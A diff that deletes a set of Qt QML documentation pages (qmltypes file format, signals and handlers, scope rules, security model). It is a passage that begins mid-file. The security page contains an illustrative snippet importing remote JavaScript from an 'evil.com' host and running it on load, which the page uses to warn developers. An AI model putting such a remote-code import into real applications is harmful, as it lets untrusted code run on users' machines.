defined in your plugins. - -\section1 Debugging - -The \c QML_IMPORT_TRACE environment variable can be useful for debugging -when there are problems with finding and loading modules. See -\l{Debugging module imports} for more information. - - -\section1 Writing a qmltypes file - -QML modules may refer to one or more type information files in their -\l{Writing a qmldir file}{qmldir} file. These usually have the .qmltypes -extension and are read by external tools to gain information about -types defined in plugins. - -As such qmltypes files have no effect on the functionality of a QML module. -Their only use is to allow tools such as Qt Creator to provide code completion, -error checking and other functionality to users of your module. - -Any module that uses plugins should also ship a type description file. - -The best way to create a qmltypes file for your module is to generate it -using the \c qmlplugindump tool that is provided with Qt. - -Example: -If your module is in \c /tmp/imports/My/Module, you could run -\code -qmlplugindump My.Module 1.0 /tmp/imports > /tmp/imports/My/Module/mymodule.qmltypes -\endcode -to generate type information for your module. Afterwards, add the line -\code -typeinfo mymodule.qmltypes -\endcode -to \c /tmp/imports/My/Module/qmldir to register it. - -While the qmldump tool covers most cases, it does not work if: -\list -\li The plugin uses a \l{QQmlCustomParser}. The component that uses - the custom parser will not get its members documented. -\li The plugin can not be loaded. In particular if you cross-compiled - the plugin for a different architecture, qmldump will not be able to - load it. -\endlist - -In case you have to create a qmltypes file manually or need to adjust -an existing one, this is the file format: - -\qml -import QtQuick.tooling 1.1 - -// There always is a single Module object that contains all -// Component objects. -Module { - // A Component object directly corresponds to a type exported - // in a plugin with a call to qmlRegisterType. - Component { - - // The name is a unique identifier used to refer to this type. - // It is recommended you simply use the C++ type name. - name: "QQuickAbstractAnimation" - - // The name of the prototype Component. - prototype: "QObject" - - // The name of the default property. - defaultProperty: "animations" - - // The name of the type containing attached properties - // and methods. - attachedType: "QDeclarativeAnimationAttached" - - // The list of exports determines how a type can be imported. - // Each string has the format "URI/Name version" and matches the - // arguments to qmlRegisterType. Usually types are only exported - // once, if at all. - // If the "URI/" part of the string is missing that means the - // type should be put into the package defined by the URI the - // module was imported with. - // For example if this module was imported with 'import Foo 4.8' - // the Animation object would be found in the package Foo and - // QtQuick. - exports: [ - "Animation 4.7", - "QtQuick/Animation 1.0" - ] - - // The meta object revisions for the exports specified in 'exports'. - // Describes with revisioned properties will be visible in an export. - // The list must have exactly the same length as the 'exports' list. - // For example the 'animations' propery described below will only be - // available through the QtQuick/Animation 1.0 export. - exportMetaObjectRevisions: [0, 1] - - Property { - name: "animations"; - type: "QQuickAbstractAnimation" - // defaults to false, whether this property is read only - isReadonly: true - // defaults to false, whether the type of this property was a pointer in C++ - isPointer: true - // defaults to false: whether the type actually is a QQmlListProperty<type> - isList: true - // defaults to 0: the meta object revision that introduced this property - revision: 1 - } - Property { name: "loops"; type: "int" } - Property { name: "name"; type: "string" } - Property { name: "loopsEnum"; type: "Loops" } - - Enum { - name: "Loops" - values: { - "Infinite": -2, - "OnceOnly": 1 - } - } - - // Signal and Method work the same way. The inner Parameter - // declarations also support the isReadonly, isPointer and isList - // attributes which mean the same as for Property - Method { name: "restart" } - Signal { name: "started"; revision: 2 } - Signal { - name: "runningChanged" - Parameter { type: "bool" } - Parameter { name: "foo"; type: "bool" } - } - } -} -\endqml - -*/ -/ diff --git a/src/qml/doc/src/qml/qmllanguage-signal-handler.qdoc b/src/qml/doc/src/qml/qmllanguage-signal-handler.qdoc deleted file mode 100644 index a23dc129aa..0000000000 --- a/src/qml/doc/src/qml/qmllanguage-signal-handler.qdoc +++ /dev/null @@ -1,130 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qmlevents.html -\ingroup qml-features - -\title QML Signal and Handler Event System -\brief the event sytem in QML - -Application and user interface components communicate with each other. For -example, a button component needs to know that the user is clicking on it. -The button may change colors to indicate its state or perform some logic. As -well, application needs to know whether the user is clicking the button. The -application may need to relay this clicking event to other applications. - -QML has a signal and handler mechanism, where the \e signal is the event -and the component responds to the event through the \e handler. The signal -is emitted and the handler is invoked. Placing logic such as scripts or other -operations in the handler allows the component to respond to the event. - -\keyword qml-signals-and-handlers -\section1 Signals and Handlers - -Signals provide a way to notify other objects when an event has occurred. For -example, the MouseArea \c clicked signal notifies other objects that the mouse -has been clicked within the area. - -The syntax for defining a new signal is: - -\tt{signal <name>[([<type> <parameter name>[, ...]])]} - -Attempting to declare two signals or methods with the same name in the same type -block generates an error. However, a new signal may reuse the name of an existing signal on the type. (This should be done with caution, as the existing signal may be hidden and become inaccessible.) - -Here are various examples of signal declarations: -\snippet qml/events.qml parent begin -\snippet qml/events.qml signal declaration -\snippet qml/events.qml parent end - -If the signal has no parameters, the "\c{()}" brackets are optional. If -parameters are used, the parameter types must be declared, as for the \c string -and \c variant arguments of the \c perform signal. - -Adding a signal to an item automatically adds a \e{signal handler} as well. The -signal hander is named \c on<SignalName>, with the first letter of the signal in -uppercase. The previous signals have the following signal handlers: -\snippet qml/events.qml signal handler declaration - -Further, each QML properties have a \c{<property_name>Changed} signal and its -corresponding \c{on<property_name>Changed} signal handler. As a result, property -changes may notify other components for any changes. -\snippet qml/events.qml automatic signals - -To emit a signal, invoke it as a method. The signal handler binding is similar -to a property binding and it is invoked when the signal is emitted. Use the -defined argument names to access the respective arguments. -\snippet qml/events.qml signal emit -Note that the \c Component.onCompleted is an -\l{attached-signalhandlers}{attached signal handler}; it is invoked when the -\l Component initialization is complete. - -\keyword qml-connect-signals-to-method -\section2 Connecting Signals to Methods and Signals - -Signal objects have a \c connect() method to a connect a signal either to a -method or another signal. When a signal is connected to a method, the method is -automatically invoked whenever the signal is emitted. This mechanism enables a -signal to be received by a method instead of a -\l {Signal Handlers}{signal handler}. - -\snippet qml/events.qml connect method -The \c {connect()} method is appropriate when connecting a JavaScript method to -a signal. - -There is a corresponding \c disconnect() method for removing connected -signals. - -\section3 Signal to Signal Connect - -By connecting signals to other signals, the \c connect() method can form different -signal chains. -\snippet qml/events.qml forward signal - - -Whenever the \l MouseArea \c clicked signal is emitted, the \c send -signal will automatically be emitted as well. - -\code -output: - MouseArea clicked - Send clicked -\endcode - -\section1 Events from the Declarative Runtime - -There maybe cases where a signal comes from the \l{The QML Engine}{declarative -runtime}. For example, it is possible to receive events from \l{QML Plugins}{QML -plugins}. For more signal control, the \c connect() method and the \l -Connections element may connect a signal from the runtime to another signal or -method. - -For complete information on events from the runtime or creating signals from the -runtime, read the \l{The QML Engine} and the \l{C++ Types as QML Types} articles. - -*/ diff --git a/src/qml/doc/src/qml/qmllanguage-types-properties.qdoc b/src/qml/doc/src/qml/qmllanguage-types-properties.qdoc deleted file mode 100644 index 24c0ddeb59..0000000000 --- a/src/qml/doc/src/qml/qmllanguage-types-properties.qdoc +++ /dev/null @@ -1,49 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -/*! -\page qmllanguage-types-properties.html -\ingroup qt-gui-concepts -\ingroup overviews -\title QML Types and Properties -\brief Provides a declarative language for building highly -dynamic applications. - - -\section1 Types, Components, and Objects - \list - \li \l{QML Basic Types}{Basic Types} - \li \l{QML Types} - \li \l{QML Components}{Components} - \li \l{Dynamic Object Management in QML}{Dynamic Object Management} - \endlist - -\section1 Properties - \list - \li \l{Properties and Property Binding in QML}{Properties and Property Binding} - \endlist - -*/ diff --git a/src/qml/doc/src/qml/qmllanguage.qdoc b/src/qml/doc/src/qml/qmllanguage.qdoc deleted file mode 100644 index a76c5b8d4b..0000000000 --- a/src/qml/doc/src/qml/qmllanguage.qdoc +++ /dev/null @@ -1,76 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -/*! -\page qmllanguage.html -\ingroup qt-gui-concepts -\ingroup overviews -\title QML - the Declarative Language -\brief Provides a declarative language for building highly -dynamic applications. - -QML is a declarative language for creating flexible and reusable types. The -language features property binding, signal and handler event system, and a -mechanism to bind to the Qt Framework. JavaScript expressions bind to properties -to create dynamic applications. - -\section1 Types and Properties - \list - \li \l{QML Types and Properties} - \endlist - -\section1 Event System - \list - \li \l{QML Signal and Handler Event System}{Signal and Handler Event System} - \endlist - -\section1 JavaScript Expressions - \list - \li \l{JavaScript Expressions} - \endlist - -\section1 Imports and Namespaces - \list - \li \l{QML Modules}{Modules} - \endlist - -\section1 Tools and Debugging - \list - \li \l{Debugging QML} - \li \l{QtQuickTest Reference Documentation} - \endlist - -\section1 Reference - \list - \li \l{QML Internationalization}{Internationalization} - \li \l{QML Coding Conventions}{Coding Conventions} - \li \l{QML Security}{Security Model} - \li \l{QML Scope}{Scope Model} - \li \l{QML Documents}{Documents} - \li \l{QML Syntax} - \li \l{QML Performance}{Performance} - \endlist -*/ diff --git a/src/qml/doc/src/qml/scope.qdoc b/src/qml/doc/src/qml/scope.qdoc deleted file mode 100644 index 15cebc735d..0000000000 --- a/src/qml/doc/src/qml/scope.qdoc +++ /dev/null @@ -1,308 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -/*! -\page qml-scope.html -\contentspage QML Reference -\ingroup qml-features -\title QML Scope -\brief access hierarchy in QML -\tableofcontents - -QML property bindings, inline functions, and imported JavaScript files all -run in a JavaScript scope. Scope controls which variables an expression can -access, and which variable takes precedence when two or more names conflict. - -As JavaScript's built-in scope mechanism is very simple, QML enhances it to fit -more naturally with the QML language extensions. - -\section1 JavaScript Scope - -QML's scope extensions do not interfere with JavaScript's natural scoping. -JavaScript programmers can reuse their existing knowledge when programming -functions, property bindings or imported JavaScript files in QML. - -In the following example, the \c {addConstant()} method will add 13 to the -parameter passed just as the programmer would expect irrespective of the -value of the QML object's \c a and \c b properties. - -\code -QtObject { - property int a: 3 - property int b: 9 - - function addConstant(b) { - var a = 13; - return b + a; - } -} -\endcode - -That QML respects JavaScript's normal scoping rules even applies in bindings. -This totally evil, abomination of a binding will assign 12 to the QML object's -\c a property. - -\code -QtObject { - property int a - - a: { var a = 12; a; } -} -\endcode - -Every JavaScript expression, function or file in QML has its own unique -variable object. Local variables declared in one will never conflict -with local variables declared in another. - -\section1 Element Names and Imported JavaScript Files - -\l {QML Document}s include import statements that define the element names -and JavaScript files visible to the document. In addition to their use in the -QML declaration itself, element names are used by JavaScript code when accessing -\l {Attached Properties} and enumeration values. - -The effect of an import applies to every property binding, and JavaScript -function in the QML document, even those in nested inline components. The -following example shows a simple QML file that accesses some enumeration -values and calls an imported JavaScript function. - -\code -import QtQuick 2.0 -import "code.js" as Code - -ListView { - snapMode: ListView.SnapToItem - - delegate: Component { - Text { - elide: Text.ElideMiddle - text: "A really, really long string that will require eliding." - color: Code.defaultColor() - } - } -} -\endcode - -\section1 Binding Scope Object - -Property bindings are the most common use of JavaScript in QML. Property -bindings associate the result of a JavaScript expression with a property of an -object. The object to which the bound property belongs is known as the binding's -scope object. In this QML simple declaration the \l Item object is the -binding's scope object. - -\code -Item { - anchors.left: parent.left -} -\endcode - -Bindings have access to the scope object's properties without qualification. -In the previous example, the binding accesses the \l Item's \c parent property -directly, without needing any form of object prefix. QML introduces a more -structured, object-oriented approach to JavaScript, and consequently does not -require the use of the JavaScript \c this property. - -Care must be used when accessing \l {Attached Properties} from bindings due -to their interaction with the scope object. Conceptually attached properties -exist on \e all objects, even if they only have an effect on a subset of those. -Consequently unqualified attached property reads will always resolve to an -attached property on the scope object, which is not always what the programmer -intended. - -For example, the \l PathView element attaches interpolated value properties to -its delegates depending on their position in the path. As PathView only -meaningfully attaches these properties to the root element in the delegate, any -sub-element that accesses them must explicitly qualify the root object, as shown -below. - -\code -PathView { - delegate: Component { - Rectangle { - id: root - Image { - scale: root.PathView.scale - } - } - } -} -\endcode - -If the \l Image element omitted the \c root prefix, it would inadvertently access -the unset \c {PathView.scale} attached property on itself. - -\section1 Component Scope - -Each QML component in a QML document defines a logical scope. Each document -has at least one root component, but can also have other inline sub-components. -The component scope is the union of the object ids within the component and the -component's root element's properties. - -\code -Item { - property string title - - Text { - id: titleElement - text: "<b>" + title + "</b>" - font.pixelSize: 22 - anchors.top: parent.top - } - - Text { - text: titleElement.text - font.pixelSize: 18 - anchors.bottom: parent.bottom - } -} -\endcode - -The example above shows a simple QML component that displays a rich text title -string at the top, and a smaller copy of the same text at the bottom. The first -\c Text element directly accesses the component's \c title property when -forming the text to display. That the root element's properties are directly -accessible makes it trivial to distribute data throughout the component. - -The second \c Text element uses an id to access the first's text directly. IDs -are specified explicitly by the QML programmer so they always take precedence -over other property names (except for those in the \l {JavaScript Scope}). For -example, in the unlikely event that the binding's \l {Binding Scope Object}{scope -object} had a \c titleElement property in the previous example, the \c titleElement -id would still take precedence. - -\section1 Component Instance Hierarchy - -In QML, component instances connect their component scopes together to form a -scope hierarchy. Component instances can directly access the component scopes of -their ancestors. - -The easiest way to demonstrate this is with inline sub-components whose component -scopes are implicitly scoped as children of the outer component. - -\code -Item { - property color defaultColor: "blue" - - ListView { - delegate: Component { - Rectangle { - color: defaultColor - } - } - } -} -\endcode - -The component instance hierarchy allows instances of the delegate component -to access the \c defaultColor property of the \c Item element. Of course, -had the delegate component had a property called \c defaultColor that would -have taken precedence. - -The component instance scope hierarchy extends to out-of-line components, too. -In the following example, the \c TitlePage.qml component creates two -\c TitleText instances. Even though the \c TitleText element is in a separate -file, it still has access to the \c title property when it is used from within -the \c TitlePage. QML is a dynamically scoped language - depending on where it -is used, the \c title property may resolve differently. - -\code -// TitlePage.qml -import QtQuick 2.0 -Item { - property string title - - TitleText { - size: 22 - anchors.top: parent.top - } - - TitleText { - size: 18 - anchors.bottom: parent.bottom - } -} - -// TitleText.qml -import QtQuick 2.0 -Text { - property int size - text: "<b>" + title + "</b>" - font.pixelSize: size -} -\endcode - -Dynamic scoping is very powerful, but it must be used cautiously to prevent -the behavior of QML code from becoming difficult to predict. In general it -should only be used in cases where the two components are already tightly -coupled in another way. When building reusable components, it is preferable -to use property interfaces, like this: - -\code -// TitlePage.qml -import QtQuick 2.0 -Item { - id: root - property string title - - TitleText { - title: root.title - size: 22 - anchors.top: parent.top - } - - TitleText { - title: root.title - size: 18 - anchors.bottom: parent.bottom - } -} - -// TitleText.qml -import QtQuick 2.0 -Text { - property string title - property int size - - text: "<b>" + title + "</b>" - font.pixelSize: size -} -\endcode - -\section1 JavaScript Global Object - -In addition to all the properties that a developer would normally expect on -the JavaScript global object, QML adds some custom extensions to make UI or -QML specific tasks a little easier. The -\l{JavaScript Runtime}{JavaScript runtime} and the \l{QML Scope} articles -contain more information about the scoping -capabilities - -QML disallows element, id and property names that conflict with the properties -on the global object to prevent any confusion. Programmers can be confident -that \c Math.min(10, 9) will always work as expected! - -*/ diff --git a/src/qml/doc/src/qml/security.qdoc b/src/qml/doc/src/qml/security.qdoc deleted file mode 100644 index 190d6930c5..0000000000 --- a/src/qml/doc/src/qml/security.qdoc +++ /dev/null @@ -1,81 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qml-security.html -\title QML Security -\section1 QML Security -\brief the security model in QML - -The QML security model is that QML content is a chain of trusted content: the user -installs QML content that they trust in the same way as they install native Qt applications, -or programs written with runtimes such as Python and Perl. That trust is establish by any -of a number of mechanisms, including the availability of package signing on some platforms. - -In order to preserve the trust of users, developers producing QML content should not execute -arbitrary downloaded JavaScript, nor instantiate arbitrary downloaded QML elements. - -For example, this QML content: - -\qml -import QtQuick 2.0 -import "http://evil.com/evil.js" as Evil - -Component { - onLoaded: Evil.doEvil() -} -\endqml - -is equivalent to downloading "http://evil.com/evil.exe" and running it. The JavaScript execution -environment of QML does not try to stop any particular accesses, including local file system -access, just as for any native Qt application, so the "doEvil" function could do the same things -as a native Qt application, a Python application, a Perl script, etc. - -As with any application accessing other content beyond it's control, a QML application should -perform appropriate checks on untrusted data it loads. - -A non-exhaustive list of the ways you could shoot yourself in the foot is: - -\list - \li Using \c import to import QML or JavaScript you do not control. BAD - \li Using \l Loader to import QML you do not control. BAD - \li Using \l{XMLHttpRequest}{XMLHttpRequest} to load data you do not control and executing it. BAD -\endlist - -However, the above does not mean that you have no use for the network transparency of QML. -There are many good and useful things you \e can do: - -\list - \li Create \l Image elements with source URLs of any online images. GOOD - \li Use XmlListModel to present online content. GOOD - \li Use \l{XMLHttpRequest}{XMLHttpRequest} to interact with online services. GOOD -\endlist - -The only reason this page is necessary at all is that JavaScript, when run in a \e{web browser}, -has quite many restrictions. With QML, you should neither rely on similar restrictions, nor -worry about working around them. -*/ |